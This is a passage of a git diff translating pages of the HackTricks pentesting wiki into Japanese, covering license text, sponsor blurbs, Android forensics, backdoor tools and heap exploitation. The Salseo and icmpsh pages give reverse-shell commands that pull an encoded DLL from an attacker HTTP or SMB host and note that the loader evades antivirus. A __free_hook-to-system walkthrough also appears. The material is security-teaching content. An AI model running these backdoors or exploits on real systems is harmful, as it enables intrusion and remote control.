Generisデータベース権を持つデータベースに、データベースの内容のすべてまたは実質的な部分を含める場合、そのデータベース(ただしその個々の内容を除く)は適応資料です;および +b. あなたがSui Generisデータベース権を持つデータベースにデータベースの内容のすべてまたは実質的な部分を含める場合、そのデータベース(ただしその個々の内容ではない)は適応資料です;および c. あなたがデータベースの内容のすべてまたは実質的な部分を共有する場合、セクション3(a)の条件に従う必要があります。 -明確にするために、この第4節は、ライセンスされた権利が他の著作権および類似の権利を含む場合におけるこの公共ライセンスの下でのあなたの義務を補足し、置き換えるものではありません。 +明確にするために、この第4節は、ライセンスされた権利に他の著作権および類似の権利が含まれる場合のあなたの義務を補足し、置き換えるものではありません。 ## 第5節 – 保証の否認および責任の制限。 -a. **ライセンサーが別途行わない限り、可能な限り、ライセンサーはライセンスされた資料を現状のまま提供し、いかなる種類の表明または保証も行いません。これには、著作権、商業性、特定の目的への適合性、非侵害、潜在的またはその他の欠陥の不在、正確性、または知られているかどうかにかかわらずエラーの存在または不在に関する保証が含まれます。保証の否認が完全または部分的に許可されていない場合、この否認はあなたには適用されない場合があります。** +a. **ライセンサーが別途行わない限り、可能な限り、ライセンサーはライセンスされた資料を現状のまま提供し、ライセンスされた資料に関していかなる種類の表明または保証も行いません。これには、タイトル、商業性、特定の目的への適合性、非侵害、潜在的またはその他の欠陥の不在、正確性、または知られているか発見可能かにかかわらず、エラーの存在または不在に関する保証が含まれますが、これに限定されません。保証の否認が完全または部分的に許可されない場合、この否認はあなたには適用されない場合があります。** -b. **可能な限り、ライセンサーは、いかなる法的理論(過失を含むがこれに限定されない)またはその他の理由において、あなたに対してこの公共ライセンスまたはライセンスされた資料の使用から生じる直接的、特別、間接、偶発的、結果的、懲罰的、模範的、またはその他の損失、コスト、費用、または損害について責任を負いません。ライセンサーがそのような損失、コスト、費用、または損害の可能性について通知を受けていた場合でも同様です。責任の制限が完全または部分的に許可されていない場合、この制限はあなたには適用されない場合があります。** +b. **可能な限り、ライセンサーは、いかなる法的理論(過失を含むがこれに限定されない)またはその他の理由において、あなたに対してこの公的ライセンスまたはライセンスされた資料の使用から生じる直接的、特別、間接、偶発的、結果的、懲罰的、模範的、またはその他の損失、コスト、費用、または損害について責任を負いません。たとえライセンサーがそのような損失、コスト、費用、または損害の可能性について通知されていた場合でもです。責任の制限が完全または部分的に許可されない場合、この制限はあなたには適用されない場合があります。** c. 上記の保証の否認および責任の制限は、可能な限り、すべての責任の絶対的な否認および放棄に最も近い方法で解釈されるものとします。 ## 第6節 – 期間および終了。 -a. この公共ライセンスは、ここでライセンスされた著作権および類似の権利の期間に適用されます。ただし、あなたがこの公共ライセンスに従わない場合、あなたの権利は自動的に終了します。 +a. この公的ライセンスは、ここでライセンスされた著作権および類似の権利の期間に適用されます。ただし、あなたがこの公的ライセンスに従わない場合、あなたの権利は自動的に終了します。 b. あなたのライセンスされた資料の使用権が第6節(a)に基づいて終了した場合、それは次のように復活します: @@ -141,27 +141,27 @@ b. あなたのライセンスされた資料の使用権が第6節(a)に基づ 2. ライセンサーによる明示的な復活。 -明確にするために、この第6節(b)は、ライセンサーがあなたのこの公共ライセンスの違反に対して救済を求める権利に影響を与えません。 +明確にするために、この第6節(b)は、ライセンサーがあなたのこの公的ライセンスの違反に対して救済を求める権利に影響を与えません。 -c. 明確にするために、ライセンサーは、ライセンスされた資料を別の条件または条件の下で提供したり、ライセンスされた資料の配布をいつでも停止したりすることができます。ただし、その場合でもこの公共ライセンスは終了しません。 +c. 明確にするために、ライセンサーは、ライセンスされた資料を別の条件または条件の下で提供したり、いつでも配布を停止したりすることができます。ただし、そうすることはこの公的ライセンスを終了させるものではありません。 -d. 第1、5、6、7、および8節は、この公共ライセンスの終了後も存続します。 +d. 第1、5、6、7、および8節は、この公的ライセンスの終了後も存続します。 ## 第7節 – その他の条件。 -a. ライセンサーは、あなたが伝えた追加または異なる条件に拘束されることはありません。 +a. ライセンサーは、明示的に合意されない限り、あなたから伝えられた追加または異なる条件に拘束されません。 -b. ライセンスされた資料に関する本書に記載されていない取り決め、理解、または合意は、この公共ライセンスの条件から独立したものです。 +b. ライセンスされた資料に関する本書に記載されていない取り決め、理解、または合意は、この公的ライセンスの条件から独立したものです。 ## 第8節 – 解釈。 -a. 明確にするために、この公共ライセンスは、ライセンスされた資料の使用に対して、この公共ライセンスの下での許可なしに合法的に行うことができる使用を減少、制限、制約、または条件を課すものではありません。 +a. 明確にするために、この公的ライセンスは、あなたがこの公的ライセンスの下で許可なしに合法的に行うことができるライセンスされた資料の使用を減少、制限、制約、または条件を課すものではありません。 -b. 可能な限り、この公共ライセンスのいかなる条項が執行不可能と見なされる場合、それは執行可能にするために必要な最小限の範囲で自動的に修正されます。条項が修正できない場合、それはこの公共ライセンスから切り離され、残りの条件の執行可能性には影響を与えません。 +b. 可能な限り、この公的ライセンスのいかなる条項が執行不可能と見なされる場合、それは執行可能にするために必要な最小限の範囲で自動的に修正されます。条項が修正できない場合、それはこの公的ライセンスから切り離され、残りの条件の執行可能性には影響を与えません。 -c. この公共ライセンスのいかなる条項または条件も放棄されず、ライセンサーによって明示的に同意されない限り、遵守しないことに同意されることはありません。 +c. この公的ライセンスのいかなる条項または条件も放棄されず、ライセンサーによって明示的に合意されない限り、遵守しないことに同意されません。 -d. この公共ライセンスのいかなる内容も、ライセンサーまたはあなたに適用される特権および免責の制限または放棄を構成するものではありません。 +d. この公的ライセンスのいかなる内容も、ライセンサーまたはあなたに適用される特権および免責の制限または放棄を構成するものではありません。 ``` Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. diff --git a/src/README.md b/src/README.md index d2c424e32..8a27edc98 100644 --- a/src/README.md +++ b/src/README.md @@ -25,7 +25,7 @@ generic-methodologies-and-resources/pentesting-methodology.md 彼らの**ブログ**は[**https://blog.stmcyber.com**](https://blog.stmcyber.com)で確認できます。 -**STM Cyber**は、HackTricksのようなサイバーセキュリティのオープンソースプロジェクトもサポートしています :) +**STM Cyber**は、HackTricksのようなサイバーセキュリティオープンソースプロジェクトもサポートしています :) --- @@ -33,7 +33,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
-[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。 +[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家のための熱い交流の場です。 {% embed url="https://www.rootedcon.com/" %} @@ -45,7 +45,7 @@ generic-methodologies-and-resources/pentesting-methodology.md **Intigriti**は、**ヨーロッパの#1**エシカルハッキングおよび**バグバウンティプラットフォーム**です。 -**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**の報酬を得始めましょう! +**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**の報酬を得始めましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -100,8 +100,8 @@ SerpApiのプランのサブスクリプションには、Google、Bing、Baidu 他のプロバイダーとは異なり、**SerpApiはオーガニック結果だけをスクレイピングするわけではありません**。SerpApiの応答には、常にすべての広告、インライン画像と動画、ナレッジグラフ、検索結果に存在する他の要素や機能が含まれます。 現在のSerpApiの顧客には、**Apple、Shopify、GrubHub**が含まれます。\ -詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)をチェックするか、[**プレイグラウンド**](https://serpapi.com/playground)で例を試してください。\ -**ここで無料アカウントを作成**できます[**こちら**](https://serpapi.com/users/sign_up)**。** +詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)を確認するか、[**プレイグラウンド**](https://serpapi.com/playground)で例を試してください。\ +**無料アカウントを作成**するには[**こちら**](https://serpapi.com/users/sign_up)をクリックしてください。** --- @@ -119,19 +119,19 @@ SerpApiのプランのサブスクリプションには、Google、Bing、Baidu
-[**WebSec**](https://websec.nl)は、**アムステルダム**に拠点を置くプロフェッショナルなサイバーセキュリティ会社で、**世界中のビジネスを最新のサイバーセキュリティ脅威から保護する**ために、**攻撃的セキュリティサービス**を提供しています。 +[**WebSec**](https://websec.nl)は、**アムステルダム**に拠点を置くプロフェッショナルなサイバーセキュリティ会社で、**最新のサイバーセキュリティ脅威から**世界中のビジネスを**保護する**ために、**攻撃的セキュリティサービス**を提供しています。 WebSecは**オールインワンのセキュリティ会社**であり、ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティ専門家のアウトソーシングなど、すべてを行います。 WebSecのもう一つの素晴らしい点は、業界の平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ことであり、そのため、**最高の品質の結果を保証します**。彼らのウェブサイトには「**私たちがハッキングできなければ、あなたは支払わない!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)を見てください! -上記に加えて、WebSecは**HackTricksの熱心なサポーターでもあります。** +上記に加えて、WebSecは**HackTricksの熱心なサポーター**でもあります。 {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} ## License & Disclaimer -チェックしてください: +彼らを確認してください: {{#ref}} welcome/hacktricks-values-and-faq.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 4a8579657..fb3efcc74 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -868,3 +868,4 @@ - [Cookies Policy](todo/cookies-policy.md) + diff --git a/src/android-forensics.md b/src/android-forensics.md index 6d2a4fadf..780cb4b68 100644 --- a/src/android-forensics.md +++ b/src/android-forensics.md @@ -4,11 +4,11 @@ ## ロックされたデバイス -Androidデバイスからデータを抽出するには、デバイスのロックを解除する必要があります。ロックされている場合は、次のことができます: +Androidデバイスからデータを抽出するには、デバイスのロックを解除する必要があります。ロックされている場合は、次のことができます。 -- デバイスにUSB経由のデバッグが有効になっているか確認する。 -- 可能な[スムッジ攻撃](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)を確認する。 -- [ブルートフォース](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)を試みる。 +- デバイスでUSB経由のデバッグが有効になっているか確認します。 +- 可能な[スムッジ攻撃](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)を確認します。 +- [ブルートフォース](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)を試みます。 ## データ取得 diff --git a/src/backdoors/icmpsh.md b/src/backdoors/icmpsh.md index 6c48091a3..9b71405dc 100644 --- a/src/backdoors/icmpsh.md +++ b/src/backdoors/icmpsh.md @@ -1,31 +1,25 @@ {{#include ../banners/hacktricks-training.md}} -Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) +バックドアをダウンロードする: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) -# Client side +# クライアント側 -Execute the script: **run.sh** - -**If you get some error, try to change the lines:** +スクリプトを実行する: **run.sh** +**エラーが発生した場合は、行を変更してみてください:** ```bash IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') ``` - -**For:** - +**対象:** ```bash echo Please insert the IP where you want to listen read IP ``` +# **被害者側** -# **Victim Side** - -Upload **icmpsh.exe** to the victim and execute: - +**icmpsh.exe** を被害者にアップロードし、実行します: ```bash icmpsh.exe -t -d 500 -b 30 -s 128 ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md index 90cf5338c..b619b3abb 100644 --- a/src/backdoors/salseo.md +++ b/src/backdoors/salseo.md @@ -2,159 +2,142 @@ {{#include ../banners/hacktricks-training.md}} -## Compiling the binaries +## バイナリのコンパイル -Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code. +GitHubからソースコードをダウンロードし、**EvilSalsa**と**SalseoLoader**をコンパイルします。コードをコンパイルするには**Visual Studio**がインストールされている必要があります。 -Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures). +使用するWindowsボックスのアーキテクチャに合わせてこれらのプロジェクトをコンパイルします(Windowsがx64をサポートしている場合は、そのアーキテクチャ用にコンパイルしてください)。 -You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".** +**Visual Studio**の**左側の「Build」タブ**の**「Platform Target」**で**アーキテクチャを選択**できます。 -(\*\*If you can't find this options press in **"Project Tab"** and then in **"\ Properties"**) +(\*\*このオプションが見つからない場合は、**「Project Tab」**を押してから**「\ Properties」**を選択してください) ![](<../images/image (132).png>) -Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable): +次に、両方のプロジェクトをビルドします(Build -> Build Solution)(ログ内に実行可能ファイルのパスが表示されます): ![](<../images/image (1) (2) (1) (1) (1).png>) -## Prepare the Backdoor +## バックドアの準備 -First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**: +まず、**EvilSalsa.dll**をエンコードする必要があります。そのためには、Pythonスクリプト**encrypterassembly.py**を使用するか、プロジェクト**EncrypterAssembly**をコンパイルできます。 ### **Python** - ``` python EncrypterAssembly/encrypterassembly.py python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt ``` - -### Windows - +### ウィンドウズ ``` EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` +わかりました、今すぐすべてのSalseoのことを実行するために必要なものがあります: **エンコードされたEvilDalsa.dll**と**SalseoLoaderのバイナリ**です。 -Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.** +**SalseoLoader.exeバイナリをマシンにアップロードします。どのAVにも検出されないはずです...** -**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...** +## **バックドアを実行する** -## **Execute the backdoor** - -### **Getting a TCP reverse shell (downloading encoded dll through HTTP)** - -Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa. +### **TCPリバースシェルを取得する(HTTPを通じてエンコードされたdllをダウンロードする)** +ncをリバースシェルリスナーとして起動し、エンコードされたevilsalsaを提供するHTTPサーバーを起動することを忘れないでください。 ``` SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` +### **UDPリバースシェルの取得(SMBを通じてエンコードされたdllをダウンロード)** -### **Getting a UDP reverse shell (downloading encoded dll through SMB)** - -Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver). - +リバースシェルリスナーとしてncを起動し、エンコードされたevilsalsaを提供するためにSMBサーバーを起動することを忘れないでください。 ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` +### **ICMPリバースシェルの取得(被害者の中にエンコードされたdllが既に存在する)** -### **Getting a ICMP reverse shell (encoded dll already inside the victim)** - -**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) - -#### **Disable ICMP Replies:** +**今回は、リバースシェルを受信するためにクライアントに特別なツールが必要です。ダウンロードしてください:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) +#### **ICMP応答を無効にする:** ``` sysctl -w net.ipv4.icmp_echo_ignore_all=1 #You finish, you can enable it again running: sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` - -#### Execute the client: - +#### クライアントを実行する: ``` python icmpsh_m.py "" "" ``` - -#### Inside the victim, lets execute the salseo thing: - +#### 被害者の内部で、salseoのことを実行しましょう: ``` SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` +## SalseoLoaderをDLLとしてコンパイルし、メイン関数をエクスポートする -## Compiling SalseoLoader as DLL exporting main function +Visual Studioを使用してSalseoLoaderプロジェクトを開きます。 -Open the SalseoLoader project using Visual Studio. - -### Add before the main function: \[DllExport] +### メイン関数の前に追加: \[DllExport] ![](<../images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -### Install DllExport for this project +### このプロジェクトにDllExportをインストールする -#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...** +#### **ツール** --> **NuGetパッケージマネージャー** --> **ソリューションのNuGetパッケージを管理...** ![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)** +#### **DllExportパッケージを検索(ブラウズタブを使用)、インストールを押す(ポップアップを受け入れる)** ![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -In your project folder have appeared the files: **DllExport.bat** and **DllExport_Configure.bat** +プロジェクトフォルダーに**DllExport.bat**と**DllExport_Configure.bat**のファイルが表示されます。 ### **U**ninstall DllExport -Press **Uninstall** (yeah, its weird but trust me, it is necessary) +**アンインストール**を押します(変ですが、信じてください、必要です) ![](<../images/image (5) (1) (1) (2) (1).png>) -### **Exit Visual Studio and execute DllExport_configure** +### **Visual Studioを終了し、DllExport_configureを実行する** -Just **exit** Visual Studio +ただ**終了**します -Then, go to your **SalseoLoader folder** and **execute DllExport_Configure.bat** +次に、**SalseoLoaderフォルダー**に移動し、**DllExport_Configure.bat**を実行します。 -Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply** +**x64**を選択します(x64ボックス内で使用する場合、私のケースです)、**System.Runtime.InteropServices**を選択します(**DllExportの名前空間内**)そして**適用**を押します。 ![](<../images/image (7) (1) (1) (1) (1).png>) -### **Open the project again with visual Studio** +### **Visual Studioでプロジェクトを再度開く** -**\[DllExport]** should not be longer marked as error +**\[DllExport]**はもはやエラーとしてマークされていないはずです。 ![](<../images/image (8) (1).png>) -### Build the solution +### ソリューションをビルドする -Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library) +**出力タイプ = クラスライブラリ**を選択します(プロジェクト --> SalseoLoaderプロパティ --> アプリケーション --> 出力タイプ = クラスライブラリ) ![](<../images/image (10) (1).png>) -Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64) +**x64** **プラットフォーム**を選択します(プロジェクト --> SalseoLoaderプロパティ --> ビルド --> プラットフォームターゲット = x64) ![](<../images/image (9) (1) (1).png>) -To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear) +ソリューションを**ビルド**するには: ビルド --> ソリューションのビルド(出力コンソール内に新しいDLLのパスが表示されます) -### Test the generated Dll +### 生成されたDllをテストする -Copy and paste the Dll where you want to test it. - -Execute: +テストしたい場所にDllをコピーして貼り付けます。 +実行: ``` rundll32.exe SalseoLoader.dll,main ``` +エラーが表示されない場合、おそらく機能するDLLがあります!! -If no error appears, probably you have a functional DLL!! +## DLLを使用してシェルを取得する -## Get a shell using the DLL - -Don't forget to use a **HTTP** **server** and set a **nc** **listener** +**HTTP** **サーバー**を使用し、**nc** **リスナー**を設定することを忘れないでください。 ### Powershell - ``` $env:pass="password" $env:payload="http://10.2.0.5/evilsalsax64.dll.txt" @@ -163,9 +146,7 @@ $env:lport="1337" $env:shell="reversetcp" rundll32.exe SalseoLoader.dll,main ``` - ### CMD - ``` set pass=password set payload=http://10.2.0.5/evilsalsax64.dll.txt @@ -174,5 +155,4 @@ set lport=1337 set shell=reversetcp rundll32.exe SalseoLoader.dll,main ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index b03deaf4a..34a805ccc 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,13 +1,13 @@ > [!TIP] -> Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +> AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +> GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) > >
> -> Support HackTricks +> HackTricksをサポートする > -> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +> - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。** +> - **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。** > >
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/README.md b/src/binary-exploitation/arbitrary-write-2-exec/README.md index 117d2440a..2d377701e 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/README.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md @@ -1,3 +1 @@ -# Arbitrary Write 2 Exec - - +# 任意書き込み2実行 diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index 7bd874ca8..c4215bc79 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -4,34 +4,32 @@ ## **Malloc Hook** -As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**. +公式GNUサイトにあるように、変数**`__malloc_hook`**は、`malloc()`が呼び出されるたびに呼び出される**関数のアドレスを指すポインタ**であり、**libcライブラリのデータセクションに格納されています**。したがって、このアドレスが例えば**One Gadget**で上書きされ、`malloc`が呼び出されると、**One Gadgetが呼び出されます**。 -To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap. +mallocを呼び出すには、プログラムがそれを呼び出すのを待つか、**`printf("%10000$c")`を呼び出すことで、libcがヒープに割り当てるためにmallocを呼び出すように、あまりにも多くのバイトを割り当てることができます**。 -More info about One Gadget in: +One Gadgetに関する詳細は以下を参照してください: {{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} > [!WARNING] -> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). +> GLIBC >= 2.34ではフックが**無効になっている**ことに注意してください。最新のGLIBCバージョンで使用できる他の技術があります。詳細は:[https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)を参照してください。 ## Free Hook -This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack: +これは、未整列ビン攻撃を悪用した後にファストビン攻撃を悪用したページの例の1つで悪用されました: {{#ref}} ../libc-heap/unsorted-bin-attack.md {{#endref}} -It's posisble to find the address of `__free_hook` if the binary has symbols with the following command: - +バイナリにシンボルがある場合、次のコマンドで`__free_hook`のアドレスを見つけることができます: ```bash gef➤ p &__free_hook ``` - -[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function: +[投稿](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)では、シンボルなしでfree hookのアドレスを特定する手順が説明されています。要約すると、free関数内で:
gef➤  x/20i free
 0xf75dedc0 <free>: push   ebx
@@ -45,26 +43,26 @@ gef➤  p &__free_hook
 0xf75deddd <free+29>:  jne    0xf75dee50 <free+144>
 
-In the mentioned break in the previous code in `$eax` will be located the address of the free hook. +前述のコードのブレークポイントで、$eaxにはfree hookのアドレスが格納されます。 -Now a **fast bin attack** is performed: +次に、**fast bin attack**が実行されます: -- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: +- まず、**`__free_hook`**の位置でサイズ200のfast **chunks**を扱うことが可能であることが発見されます: -
gef➤  p &__free_hook
-  $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
-  gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
-  0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
-  0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-  0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-  0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-  
- - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed -- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. -- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. -- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. -- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. +$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> +gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 +0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 +0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 +0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 +0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000 + +- この位置でサイズ0x200のfast chunkを取得できれば、実行される関数ポインタを上書きすることが可能です。 +- そのために、サイズ`0xfc`の新しいchunkを作成し、そのポインタを使ってマージされた関数を2回呼び出します。こうすることで、fast bin内のサイズ`0xfc*2 = 0x1f8`の解放されたchunkへのポインタを取得します。 +- 次に、このchunkのedit関数を呼び出して、このfast binの**`fd`**アドレスを前の**`__free_hook`**関数を指すように変更します。 +- その後、サイズ`0x1f8`のchunkを作成して、fast binから前の無駄なchunkを取得し、さらにサイズ`0x1f8`のchunkを作成して**`__free_hook`**内のfast bin chunkを取得し、**`system`**関数のアドレスで上書きします。 +- 最後に、文字列`/bin/sh\x00`を含むchunkを削除関数を呼び出して解放し、**`__free_hook`**関数をトリガーし、`/bin/sh\x00`をパラメータとしてsystemを指すようにします。 -## References +## 参考文献 - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index ad09ee48e..d8c5cf603 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -2,63 +2,63 @@ {{#include ../../banners/hacktricks-training.md}} -## **Basic Information** +## **基本情報** -### **GOT: Global Offset Table** +### **GOT: グローバルオフセットテーブル** -The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved. +**グローバルオフセットテーブル (GOT)** 